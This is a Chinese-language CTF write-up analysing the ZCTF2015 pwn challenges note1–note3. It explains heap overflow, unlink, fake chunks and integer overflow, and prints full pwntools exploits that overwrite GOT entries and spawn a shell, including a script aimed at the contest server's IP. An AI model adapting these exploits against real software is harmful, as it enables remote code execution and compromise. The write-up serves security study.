ZCTF2015 pwn试题分析

ZCTF的pwn赛题分析，

PWN100

这道题与SCTF的pwn100玩法是一样的，区别在于这个要过前面的几个限制条件。不能触发exit(0)。否则就不能实现溢出了。

依然是触发canary来leak出内存中的flag。

note1

这次ZCTF的题是以一个系列出的，以下三个题都是同一个程序。

首先看了一下程序的大概流程，这个是记事本程序。

1.New note\n
2.Show notes list\n
3.Edit note\n
4.Delete note\n
5.Quit\noption--->>

有这么5个选项。

程序也是通过5个单独的函数来实现的，

分别对应了这几个选项。

程序不是简单的通过一个空间去储存数据的，而是把数据块组成了一个链表。

通过sub_400989也就是New note功能我们可以看到每个块的结构。

通过这张图我们可以看到

这个块的结构应该是

struct data

{

　　QWORD Link1;//8byte前向指针

　　QWORD Link2;//8byte后向指针

　　byte title[64];//偏移16~80byte处存储title的字符串

　　byte type[32];//偏移80~112byte处储存type的字符串

　　byte content[256];//偏移112~368byte处储存正文的字符串

}

正好就是分配的堆的0x170=368个字节，充分利用了。

我这里偷了一下懒，知道note1的洞是在3号edit功能中了。

看一下，可以发现是很简单的遍历链表判断名字是不是自己想要的，那么漏洞也只会是这个了。

堆在分配的时候一共才368个字节，而留给context的是256个字节。到这里猜想就是类似于堆溢出一样的DWORD SHOOT了，但是要看下释放机制，如果释放函数处理不当的话就会造成任意地址写的漏洞。

如上图，果然是dword shoot这种东西。只要伪造一个前向指针和后向指针就可以了。

但是这道题的意思是要leak一下地址，libc也给出了。

方法就是用show note这个功能来leak，因为它有一个遍历链表的过程，也是通过溢出去覆盖下一个块的指针就可以了。

payload='A'*256 + 'A'*8 + l64(0x0) + l64(0x602040-0x70)+'d'

这样，当调用show功能时，就会leak出地址了。

但是更改时，并没有用删除note断链来任意地址写，而是用了edit的功能来实现任意写，其实我觉得用unlink也是可以的。

note2

这道题是分值最高的一道，也确实是很够分量的。new和show功能写的都很简单，edit功能却有点门道在里面。

 __int64 sub_400D43()
 {
   void *Temp_Buf; // rax@13
   void *Temp_Buf3; // rbx@13
   int v3; // [sp+8h] [bp-E8h]@3
   int v4; // [sp+Ch] [bp-E4h]@7
   char *src; // [sp+10h] [bp-E0h]@5
   __int64 size; // [sp+18h] [bp-D8h]@5
   char local_buf; // [sp+20h] [bp-D0h]@11
   void *Temp_Buf2; // [sp+A0h] [bp-50h]@13
   __int64 v9; // [sp+D8h] [bp-18h]@1

   v9 = *MK_FP(__FS__, 40LL);
   if ( NumOfChunk )
   {
     puts("Input the id of the note:");
     v3 = GetNumber();
     if ( v3 >=  && v3 <=  )
     {
       src = (char *)*(&Pointer + v3);
       size = SizeOfChunk[v3];
       if ( src )
       {
         puts("do you want to overwrite or append?[1.overwrite/2.append]");
         v4 = GetNumber();
         if ( v4 ==  || v4 ==  )
         {
           if ( v4 ==  )
             local_buf = ;
           else
             strcpy(&local_buf, src);
           Temp_Buf = malloc(160uLL);
           Temp_Buf2 = Temp_Buf;
           *(_QWORD *)Temp_Buf = 'oCweNehT';
           *((_QWORD *)Temp_Buf + ) = ':stnetn';
           printf((const char *)Temp_Buf2);
           GetInput((__int64)((char *)Temp_Buf2 + ), 144LL, );
           CleanTheInput((const char *)Temp_Buf2 + );
           Temp_Buf3 = Temp_Buf2;
           *((_BYTE *)Temp_Buf3 + size - strlen(&local_buf) + ) = ;
           strncat(&local_buf, (const char *)Temp_Buf2 + , 0xFFFFFFFFFFFFFFFFLL);
           strcpy(src, &local_buf);
           free(Temp_Buf2);
           puts("Edit note success!");
         }
         else
         {
           puts("Error choice!");
         }
       }
       else
       {
         puts("note has been deleted");
       }
     }
   }
   else
   {
     puts("Please add a note!");
   }
   return *MK_FP(__FS__, 40LL) ^ v9;
 }

40和41行写的很有意思，刚开始没理解是什么意义，尤其是还有个减的操作，跟着调试几次发现了原来这么写是为了防止写入溢出的。+ size - strlen(&local_buf)是在计算这个块还能容纳多少字节。然后再写个0上去。

事实上，这道题看不出有什么明显的漏洞，这也是我说这道题有分量的原因。当我们在new的时候，给大小指定为0。那么size数组中记录的大小就也会为0。这样就会溢出掉下一个堆块。

经过调试发现malloc(0)会分配

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 from pwn import *
 #io = process('./note2')
 io = remote('115.28.27.103', 9002)
 atoi_off = 0x39F50
 system_off = 0x46640
 def addnote(length,content):
     global io
     print io.recvuntil('option--->>')
     io.sendline('')
     print io.recvuntil(')')
     io.sendline(str(length))
     print io.recvuntil(':')
     io.sendline(content)
     return

 def delnote(id):
     global io
     print io.recvuntil('option--->>')
     io.sendline('')
     print io.recvuntil(':')
     io.sendline(str(id))
     return

 def editnote(id,oa,content):
     global io
     print io.recvuntil('option--->>')
     io.sendline('')
     print io.recvuntil(':')
     io.sendline(str(id))
     print io.recvuntil(']')
     io.sendline(str(oa))
     print io.recvuntil(':')
     io.sendline(content)
     return
 def main():
     name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00'    # fake chunks
     address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21)    # fake chunks
     #raw_input('Attach now!')
     print io.recvuntil(':')
     io.sendline(name)
     print io.recvuntil(':')
     io.sendline(address)

     k = 127
     # find a way to free 0x602110
     addnote(128,'bbb')
     addnote(0,'aaa')    # '0' bypasses everthing :>
     addnote(128,'cccc')
     # ????? why always 39 chars appended????? but not in online env,,,
     # somekind of strncat bug?
     editnote(1,1,39*'a')    # 39 added per append
     editnote(1,2,39*'b')    #
     editnote(1,2,39*'c')    #
     editnote(1,2,10*'d')

     editnote(1,2,'a'*(128-k)+p64(0x602110))
     addnote(128,0x10*'a'+p64(0x602088))
     print io.recvuntil('option--->>')
     io.sendline('')
     print io.recvuntil(':')
     io.sendline('')
     print io.recvuntil('is ')
     buf = io.recvuntil('\n')[:-1] + '\x00\x00'
     atoi = u64(buf)
     libc_base = atoi - atoi_off
     log.success('Libc Base = ' + hex(libc_base))
     system = libc_base + system_off
     editnote(0,1,p64(system))

     print io.recvuntil('option--->>')
     io.sendline('/bin/sh')

     io.interactive()

     return 0
 if __name__ == '__main__':
     main()

我们可以看到是分两步完成的

1.leak 内存（任一个函数的地址，用来算出偏移）

2.修改got表

从这个角度来说思路很清晰。来看看是怎么做的吧

首先是leak内存，这是从exp中抽取出来的leak内存的部分

     name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00'    # fake chunks 要48byte才行
     address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21)    # fake chunks
     io.sendline(name)
     io.sendline(address)#设置两个bss段中的内容
     k = 127
     # find a way to free 0x602110
     addnote(128,'bbb')
     addnote(0,'aaa')    # '0' bypasses everthing :>
     addnote(128,'cccc')
     # ????? why always 39 chars appended????? but not in online env,,,
     # some kind of strncat bug?
     editnote(1,1,39*'a')    # 39 added per append    #为啥要是1号块？这不是一个空块吗？
     editnote(1,2,39*'b')    # 78                    #只是为了释放0x602110
     editnote(1,2,39*'c')    #
     editnote(1,2,10*'d')    #
                             #D0-50=128个字节
     editnote(1,2,'a'*(128-k)+p64(0x602110))
     addnote(128,0x10*'a'+p64(0x602088))

     io.sendline('') #直接调用2号show功能leak出内存了
     io.sendline('')

思路是用bss段中的name缓冲区伪造一个堆，堆结构如下

0x0|0x91|内容

为什么要构造一个堆呢？

因为伪造这个堆之后释放这个伪造的堆，以后再分配一个堆时，得到的还是这个伪造的堆。

　name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00'    # fake chunks 要48byte才行
    address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21)    # fake chunks
    io.sendline(name)
    io.sendline(address)#设置两个bss段中的内容

这是在伪造堆

　 addnote(128,'bbb')
    addnote(0,'aaa')    # '0' bypasses everthing :>
    addnote(128,'cccc')
    # ????? why always 39 chars appended????? but not in online env,,,
    # some kind of strncat bug?
    editnote(1,1,39*'a')    # 39 added per append    #为啥要是1号块？这不是一个空块吗？
    editnote(1,2,39*'b')    # 78                    #只是为了释放0x602110
    editnote(1,2,39*'c')    # 117
    editnote(1,2,10*'d')    # 127
                            #D0-50=128个字节
    editnote(1,2,'a'*(128-k)+p64(0x602110))

用栈溢出来释放伪造的堆

　　addnote(128,0x10*'a'+p64(0x602088))

利用分配堆重新获得伪造的堆，并溢出ptr

因为这是内存布局导致的

ptr正好在伪造堆块下面，刚好会被盖住

然后就利用这个来leak got表内容，如exp所写的

　 io.sendline('2') #直接调用2号show功能leak出内存了
    io.sendline('0')

由于前面用atoi盖住了got表的地址，所以直接edit操作就可以改写atoi的got表。exp里把它改写成system的地址

然后就可以了。

 editnote(0,1,p64(system))

最后总结一下这个题，这个题本质上是由于bss段内存布局的问题去覆盖指针的，实质上并不是常规的那几种堆的漏洞。
伪造堆主要是为了可以重新获得这块内存，然后加以编辑。其实并不是堆的漏洞，只是借堆来实现覆盖bss段中的指针。

note3
这个题的入手点就是一个整型溢出。这个是我看writeup才知道的，因为实在没找到哪里有整型溢出，看了一下writeup，居然是获取输入数字的函数有溢出。
这道题一开始没看明白是什么意思，后来着重研究了一下add note函数，才明白是什么意思，原来又是坑爹的内存布局导致的问题。


注意红色的部分，有没有觉得这个写法很怪？这不是F5插件的问题，程序就是这么写的。相当坑爹，我们来看看bss段的情况吧。


这个就是bss段的布局，忽略数据单位因为我不知道在ida里怎么都转成同一的单位。

看看他是怎么布局的

• qword_6020c0
• 最后增加（或编辑）的块的指针
• ptr
• 块的指针数组
• 块的大小数组

坑爹就坑爹在这，这也是整数溢出派上用场的地方。

溢出成-1后，正常的

sub_4008DD((__int64)*(&ptr + v3), qword_6020C0[v3 + 8], 10);

就成了：向最后增加的块，写入超大长度的数据(把指针当成整数来处理，当然是特别特别大了)

那么，截至到目前为止，我们做的这些事情的目的都是什么呢？答案是造成堆溢出，然后构造伪造堆块。其实截至目前我们做的都是为了得到堆溢出，因为正常情况下都会验证长度是没有办法使堆溢出的，我们分析了半天就是想办法造成了堆溢出。

有了堆溢出，一切都明朗起来了，因为接下来就是套路了，就像我在note2里写的那样。伪造一个空堆，释放相邻的堆，引发空堆合并，触发unlink宏。

一切都清晰了~

我那Nu1L的exp来说下具体的流程吧

 malloc(512,'/bin/sh\0')
 malloc(512,'/bin/sh\0')
 malloc(512,'/bin/sh\0')
 malloc(512,'/bin/sh\0')
 malloc(512,'/bin/sh\0')
 malloc(512,'/bin/sh\0')
 malloc(512,p64(0x400ef8))
 malloc(512,'/bin/sh\0')
 # 2. make a fake chunk and modify the next chunk's pre size
 fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16)
 #ptr中的地址作为伪堆块
 edit(3,'aaaaaa')
 edit(intoverflow,fakechunk)
 # 3. double free
 free(4)
 # 4. overwrite got
 edit(3,free_got)
 edit(0,printf_plt+printf_plt)
 # 5. leak the stack data
 edit(3,p64(0x6020e8))
 edit(0,'%llx.'*30)
 #free->puts

 conn.sendline('')

 conn.sendline(str(0))

 ret =  conn.recvuntil('success')

 # 6. calcuate the system's addr
 libcstart = ret.split('.')[10]
 libcstart_2 = int(libcstart,16) - libcstartmain_ret_off

 system_addr = libcstart_2 + sys_off

 # 7. overwrite free's got
 edit(3,free_got)
 edit(0,p64(system_addr)+printf_plt)
 # 8. write argv
 edit(3,p64(0x6020d0))
 edit(0,'/bin/sh\0')
 # 9. exploit

 conn.sendline('')

 conn.sendline(str(0))
 sleep(0.2)
 conn.interactive()

具体的实现代码都删了，想看可以在FreeBuf找到，只看流程。

malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,p64(0x400ef8))
malloc(512,'/bin/sh\0')

分配8个堆，malloc就是个自己实现的python函数，调用add功能的

fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16)
edit(3,'aaaaaa')
edit(intoverflow,fakechunk)

对3号块进行编辑，是为了是它成为最后编辑的，让3号块的地址进入qword_6020c0[0]，待会就会往这里写了。intoverflow是整数溢出造成的-1。-1有啥用上面已经说过了。

看下伪造堆块的情况吧

0|513|0x6020e0-0x18|0x6020e0-0x10|'A'*(512-32)

0说明前块正在使用中，513说明此块大小是512byte而且是空闲的，0x6020e0是用来过unlink check的

512|512+16

这个就是覆盖了下一个堆块的头了，也就是所说的堆溢出了。

注意512是前块的大小，这个值不为0说明前块为空。512+16中的512是当前块的大小而16是什么呢？

free(4)

释放触发了unlink宏，因为空块合并的原则。